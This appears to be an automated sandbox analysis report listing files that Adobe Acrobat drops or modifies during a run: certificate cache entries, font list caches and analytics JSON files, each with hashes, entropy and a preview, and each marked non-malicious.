Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7386214950254377
Encrypted:	false
SSDEEP:	3:kkFkl8xKKPtfllXlE/HT8k57z1NNX8RolJuRdxLlGB9lQRYwpDdt:kKlMKPeT8wrNMa8RdWBwRd
MD5:	24863A4E4D735B2C58E1282AB9237107
SHA1:	C49FAF2745900FC59E1C84E6DEFAA6A595CCAF5F
SHA-256:	99825712BB26DD094E88A57069A3A95721BE60601F7BF35B7146737B3BFCF942
SHA-512:	9A35D4BE1C91CB2B800DC03B5FD6F22FC987AC9DD95C22B4345B142115DCFD3D939F87D8600BFB4E640DED3966CBD37A89C900132626D7BF21E344CCD9E5DA35
Malicious:	false
Preview:	p...... ..........t..c..(....................................................... ..........W.....\..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.124880512274036
Encrypted:	false
SSDEEP:	6:kKC+sL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:miDnLNkPlE99SNxAhUe/3
MD5:	CEC1D0000480154FAF1A540FEC787262
SHA1:	DF7B4556E881268C1600DE43B6C8AECDE2D83DE4
SHA-256:	68B3BD33151916B6DF5FE075F1669112FAB8B6FAFAB3C832F5BD75154DE59818
SHA-512:	439F270717F376C529B51810CC786240BC6AE99032EB5CA9D53CEC924C43A3CAB31C51477596DAC6D51754933E95B16F34B2338FD013F2C0056BE18818576EEA
Malicious:	false
Preview:	p...... .........../.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2284

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2284

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.307133649128452
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSQcu0GH7+FIbRI6XVW7+0YaS3oAvJM3g98kUwPeUkwRe9:YvXKXSJu0nYpW7qYGMbLUkee9
MD5:	E1054B29FB6FE7EA0F48C9C177BE013C
SHA1:	82B82FD87D9FF42E29CDD158F196E28780E06C49
SHA-256:	4AB455C42937E71A7497BFA9682F80BCDB7AE3A59297FDFA44AA0BF317B272C7
SHA-512:	C7E31AFDAFCB9D94BC332CDE096C9261AF753DE848EF5BF1956041FBACCD5C49AE607B71B3CE68C819451B4A6A649B6531105B8D28B8DD13ED7FF8D8CECD1618
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9dc2e26f-ddaf-4374-a9ed-a6ecd49aeb2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753027779,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2412928190229
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSQcu0GH7+FIbRI6XVW7+0YaS3oAvJfBoTfXpnrPeUkwRe9:YvXKXSJu0nYpW7qYGWTfXcUkee9
MD5:	7027B99BA2E8F6E5276D2C4DF9D8423D
SHA1:	7477DD90F9A80B12E02B571CD598AF865C3D649F
SHA-256:	5E0461429E9F760DBBBBFFE58E9553E10C68190CF4FECEBB66728E836DDA24D5
SHA-512:	D25126091548A054DFF1141DFFB83FE95136446F730DACB766AC4F80F4FCCA5928CA9CB61C57E509C86B8686D0A91B5B72DADF96A151B6EF1563195C1BF59ECA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9dc2e26f-ddaf-4374-a9ed-a6ecd49aeb2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753027779,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.219962881447124
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSQcu0GH7+FIbRI6XVW7+0YaS3oAvJfBD2G6UpnrPeUkwRe9:YvXKXSJu0nYpW7qYGR22cUkee9
MD5:	0A4F3300CDFB1EC4E90F6DA414CF341A
SHA1:	DE6AFC7B9B0C1EFB6319BEB3DB0650F4EAF7EB6E
SHA-256:	DCB3718C502B7F48123C52E9A049DB011DCA6F23B520B1B587B0BD900ED745AD
SHA-512:	387D2029040F47DE932F009EEADCB11608B12991DD4CBE7C2722929527D284F979608E55FC605039FF4B7165411C20D8F2F5A9E2767BCCF596ADD29B5015F9EE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9dc2e26f-ddaf-4374-a9ed-a6ecd49aeb2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753027779,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.284053553547696
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSQcu0GH7+FIbRI6XVW7+0YaS3oAvJfPmwrPeUkwRe9:YvXKXSJu0nYpW7qYGH56Ukee9
MD5:	008C3A3F0C5C657D0427FB9CA9B06826
SHA1:	EA15F582639792F8FB8BCB1E645DBCE7995B8D42
SHA-256:	FB6BBB65EA14EB7F494449E867470CCD28D1E3BA1C27D0D0770D7DC8378FE2CA
SHA-512:	B0542C4E041F19A8EBD936EE42A1AD0A39F7983C7260744F6EB4A7A894099AB9C1C67CA2368F84CC386A7A60A4F1B6ECB9E608D6F510B014C010BC1DCCE3B9A4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9dc2e26f-ddaf-4374-a9ed-a6ecd49aeb2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753027779,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6797730166487925
Encrypted:	false
SSDEEP:	24:Yv6Xi8iq1pLgE9cQx8LennAvzBvkn0RCmK8czOCCStn:Yvrshgy6SAFv5Ah8cv/tn
MD5:	61C41B8803D773A28277487C584C35F0
SHA1:	909E3C4AE48057C98C3B4C4BD4D965B55295A5CF
SHA-256:	8C84E4EC9EBBE38067573D838FDAA4BB0390A333D2B3ACDB6F9CC458D9356C0C
SHA-512:	A88D76BF33233B66549F2A3BCB2F9CD4C0C6B247E7F6BABC7AA2A98C62C2B9368D2776C09F4F6066D73F29D91E74BB0419432D0EA90D0A075457E462A3993089
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9dc2e26f-ddaf-4374-a9ed-a6ecd49aeb2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753027779,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.222835092336783
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSQcu0GH7+FIbRI6XVW7+0YaS3oAvJf8dPeUkwRe9:YvXKXSJu0nYpW7qYGU8Ukee9
MD5:	97A7694C127D292EAD57ED4DE88B6B5D
SHA1:	116EEFB8231A0C9B4E11359C4C9E098BD4E19D38
SHA-256:	AF0DDDE573BCFB1883E64907B30F25CECE1EF96FF03C7FD7E9B0E9339D7F6317
SHA-512:	30BA808DC232ADF11F8A66D85EDF403BC7439A6897AAF0587588062588510FE859995A6798F1879ABA32A6882226764A36246048B4621F13B446E5806A70A71E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9dc2e26f-ddaf-4374-a9ed-a6ecd49aeb2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753027779,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.224631922349179
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSQcu0GH7+FIbRI6XVW7+0YaS3oAvJfQ1rPeUkwRe9:YvXKXSJu0nYpW7qYGY16Ukee9
MD5:	A779288A09545485A4521ADC78BD7474
SHA1:	09DE26451016E5E1CCBA931025A84F9FE42C051C
SHA-256:	831D86DEEE62B5952BF255D08A0D84AAB329FFD87082BDACDCBE2563A6D29FFF
SHA-512:	914EEF4758A966091DCE80D6E8A2B91ACB611AC03CD22AA5201BD31BD0D2DE8FEDCBA2EBAC241EB3BE765F006D7EBCFA037954496D67B8B96493ED5D9BF69B59
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9dc2e26f-ddaf-4374-a9ed-a6ecd49aeb2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753027779,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.241629469394606
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSQcu0GH7+FIbRI6XVW7+0YaS3oAvJfFldPeUkwRe9:YvXKXSJu0nYpW7qYGz8Ukee9
MD5:	BD0AC393040C146C246F31082C9B6D01
SHA1:	AABEF46356BC8AD550BA7BAEC83639B31923446C
SHA-256:	F03F72508D34ED4F453B35EE57590EB6582BF602DC957A8D854EF5F7CE500E01
SHA-512:	5132F8DDBD82740C6C8485B8EF0C0E588F6594B19835EA46D4381952517D5C0681FDE9242E943061FFF0B8C2AFC65C44620761938392918E4AAB398B6F8086C8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9dc2e26f-ddaf-4374-a9ed-a6ecd49aeb2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753027779,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.250957492693608
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSQcu0GH7+FIbRI6XVW7+0YaS3oAvJfzdPeUkwRe9:YvXKXSJu0nYpW7qYGb8Ukee9
MD5:	0A5A3AA83E6A3B2158ED68164F6A9974
SHA1:	87B98AD779D5EB135F3DBEF5E7AE820DEA662360
SHA-256:	621FFC0E0F2E29F638519C96DD5C8DFA48FDB4D050DC71FB84ED4DDE10BD0A7B
SHA-512:	FFF017C875477D60C5CC861B5936EA1796CB9B87770375BD67A14D886B5028AAF94EED55611F756E13D7F4FACD49B6281DCD05164E0B777F6BA2149522CA7B6E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9dc2e26f-ddaf-4374-a9ed-a6ecd49aeb2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753027779,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.230721376118726
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSQcu0GH7+FIbRI6XVW7+0YaS3oAvJfYdPeUkwRe9:YvXKXSJu0nYpW7qYGg8Ukee9
MD5:	A2C674E75B17B0B1893B53E9DCF5E524
SHA1:	48D23656248DC73BC6903C7AE65FE1DCEA375779
SHA-256:	5AFEFBCFBC7FB76F2AD4E8E974E41AC7496508A3BC9679A22B0DC54432B94567
SHA-512:	C584E58E064E61704B1908FB3F36C1AB525CEACED31928965836F0973B48292C791ACB527F6883747970C6509150AB710B94082C1767BA82FE4753347E623982
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9dc2e26f-ddaf-4374-a9ed-a6ecd49aeb2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736753027779,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.216400895848842
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSQcu0GH7+FIbRI6XVW7+0YaS3oAvJf+dPeUkwRe9:YvXKXSJu0nYpW7qYG28Ukee9
MD5:	FA343475EBE23FEA7961F02E99D2EAD7
SHA1:	2A0264DC185C6C758F4B9BB9D0E46405D5CC9BD8
